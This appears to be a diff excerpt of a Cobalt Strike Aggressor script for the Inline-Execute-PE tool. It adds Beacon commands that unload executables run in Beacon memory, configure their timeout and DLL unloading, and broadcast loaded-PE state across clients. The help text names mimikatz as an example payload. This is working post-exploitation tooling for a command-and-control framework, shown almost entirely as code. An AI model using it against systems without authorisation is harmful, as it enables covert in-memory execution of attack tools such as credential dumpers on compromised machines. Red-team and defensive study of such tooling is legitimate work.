| 699 | + | $barch = barch($1); |
| 700 | + | |
| 701 | + | # read in the right BOF file |
| 702 | + | $handle = openf(script_resource("peunload. $+ $barch $+ .o")); |
| 703 | + | $data = readb($handle, -1); |
| 704 | + | closef($handle); |
| 705 | + | |
| 706 | + | # Pack the arguments |
| 707 | + | $args = bof_pack($bid, "zi", $2, $3); |
| 708 | + | |
| 709 | + | # Execute BOF |
| 710 | + | beacon_inline_execute($bid, $data, "go", $args); |
| 711 | + | } |
| 712 | + | |
| 713 | + | beacon_command_register( |
| 714 | + | "peunload", |
| 715 | + | "Unload an unmanaged Windows executable from Beacon memory", |
| 716 | + | " |
| 717 | + | Command: peunload |
| 718 | + | Summary: This command will run a BOF to unload an unmanaged PE from Beacon memory and cleanup additional structures. |
| 719 | + | Memory containing the PE will be zeroed out and freed. |
| 720 | + | (most) handles and file pointers opened as part of Inline-Execute-PE will be closed. |
| 721 | + | Will attempt to unload DLL's loaded by the PE unless otherwise specified by peconfig. |
| 722 | + | |
| 723 | + | Usage: peunload |
| 724 | + | " |
| 725 | + | ); |
| 726 | + | |
| 727 | + | ############################################################### peconfig ################################################################ |
| 728 | + | |
| 729 | + | alias peconfig |
| 730 | + | { |
| 731 | + | local('$x @entry $bid'); |
| 732 | + | |
| 733 | + | $bid = $1; |
| 734 | + | |
| 735 | + | if(!-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3)) |
| 736 | + | { |
| 737 | + | berror($1, "Cannot update settings for a Beacon that is not alive or has not called back within 3x the set sleep time!"); |
| 738 | + | exit(); |
| 739 | + | } |
| 740 | + | |
| 741 | + | $x = 0; |
| 742 | + | |
| 743 | + | #Iterate over each array in @loadedPE |
| 744 | + | foreach @entry (@loadedPE) |
| 745 | + | { |
| 746 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 747 | + | if($bid eq @entry[0]) |
| 748 | + | { |
| 749 | + | break; |
| 750 | + | } |
| 751 | + | $x++; |
| 752 | + | } |
| 753 | + | |
| 754 | + | #Verify setting user wishes to alter |
| 755 | + | if(lc($2) eq "timeout") |
| 756 | + | { |
| 757 | + | if($3 ismatch '\d+') |
| 758 | + | { |
| 759 | + | #Write to Event Log so all clients can update petable entry |
| 760 | + | action("peconfig" . " ~*~ " . $bid . " ~*~ " . $2 . " ~*~ " . $3); |
| 761 | + | } |
| 762 | + | else |
| 763 | + | { |
| 764 | + | berror($1, "Incorrect usage!"); |
| 765 | + | berror($1, beacon_command_detail("peconfig")); |
| 766 | + | exit(); |
| 767 | + | } |
| 768 | + | |
| 769 | + | } |
| 770 | + | else if(lc($2) eq "unloadlibraries") |
| 771 | + | { |
| 772 | + | if(lc($3) eq "true" || lc($3) eq "false") |
| 773 | + | { |
| 774 | + | #Write to Event Log so all clients can update petable entry |
| 775 | + | action("peconfig" . " ~*~ " . $bid . " ~*~ " . $2 . " ~*~ " . uc($3)); |
| 776 | + | } |
| 777 | + | else |
| 778 | + | { |
| 779 | + | berror($1, "Incorrect usage!"); |
| 780 | + | berror($1, beacon_command_detail("peconfig")); |
| 781 | + | exit(); |
| 782 | + | } |
| 783 | + | } |
| 784 | + | else |
| 785 | + | { |
| 786 | + | berror($bid, "Invalid setting"); |
| 787 | + | berror($bid, beacon_command_detail("peconfig")); |
| 788 | + | exit(); |
| 789 | + | } |
| 790 | + | } |
| 791 | + | |
| 792 | + | beacon_command_register( |
| 793 | + | "peconfig", |
| 794 | + | "Configure options for unmanaged Windows executables loaded in Beacon memory", |
| 795 | + | " |
| 796 | + | Command: peconfig |
| 797 | + | Summary: This command alters options relating to a PE loaded in Beacon memory. |
| 798 | + | These settings are on a per-PE basis; if you unload one PE from a Beacon and then load another, settings will revert to their defaults. |
| 799 | + | Two options may be altered using this command: timeout and unloadlibraries |
| 800 | + | |
| 801 | + | timeout: This option controls how long Beacon will wait for the PE to finish running before forcibly terminating it. |
| 802 | + | This limiter exists as a fail-safe for PE's which may have been given arguments that cause them to run infinitely (e.g. a mimikatz command that didn't include 'exit') |
| 803 | + | Note that if a PE is aborted by the timeout feature, this Beacon will lose the ability to load and use additional PE's! |
| 804 | + | |
| 805 | + | unloadlibraries: This option dictates whether or not peunload will attempt to unload DLL's that were loaded by the PE during runtime. Default setting is TRUE. |
| 806 | + | Sometimes Beacon will crash after DLL's that were loaded by a PE are unloaded; one such example is when a PE loads the .NET CLR (e.g. Powershell) |
| 807 | + | This setting can be set to FALSE so that any DLL's loaded by a PE will be left in the process. |
| 808 | + | |
| 809 | + | Usage: peconfig <option> <value> |
| 810 | + | <option> Required. The option you wish to alter. |
| 811 | + | Acceptable values: |
| 812 | + | timeout |
| 813 | + | unloadlibraries |
| 814 | + | |
| 815 | + | |
| 816 | + | <value> Required. The setting you wish to assign to the specific option. |
| 817 | + | timeout: The number of seconds you wish to wait for the PE to complete running. Default 60 seconds. |
| 818 | + | unloadlibraries: Whether or not to try and unload DLL's loaded by the PE. Default TRUE. |
| 819 | + | |
| 820 | + | |
| 821 | + | Example: peconfig timeout 180 <- This example sets the timeout to 3 minutes. Set timeout longer when long-running PE's are being used. |
| 822 | + | Example: peconfig unloadlibraries FALSE <- This example instructs peunload to not try to unload DLL's loaded by the PE. Useful with specific PE's that otherwise cause crashes when this is attempted. |
| 823 | + | " |
| 824 | + | ); |
| 825 | + | |
| 826 | + | ############################################################## pebroadcast ############################################################## |
| 827 | + | |
| 828 | + | alias pebroadcast |
| 829 | + | { |
| 830 | + | foreach @entry (@loadedPE) |
| 831 | + | { |
| 832 | + | action("pebroadcast" . " ~*~ " . @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]); |
| 833 | + | } |
| 834 | + | } |
| 835 | + | |
| 836 | + | beacon_command_register( |
| 837 | + | "pebroadcast", |
| 838 | + | "Manually broadcast Client's data concerning unmanaged Windows executables loaded in Beacon memory to all other CobaltStrike Clients.", |
| 839 | + | " |
| 840 | + | Command: pebroadcast |
| 841 | + | Summary: This command will broadcast the Client's petable to all other connected Clients, causing them to update their table with the data contained in the broadcasting Clients' petable. |
| 842 | + | |
| 843 | + | Usage: pebroadcast |
| 844 | + | " |
| 845 | + | ); |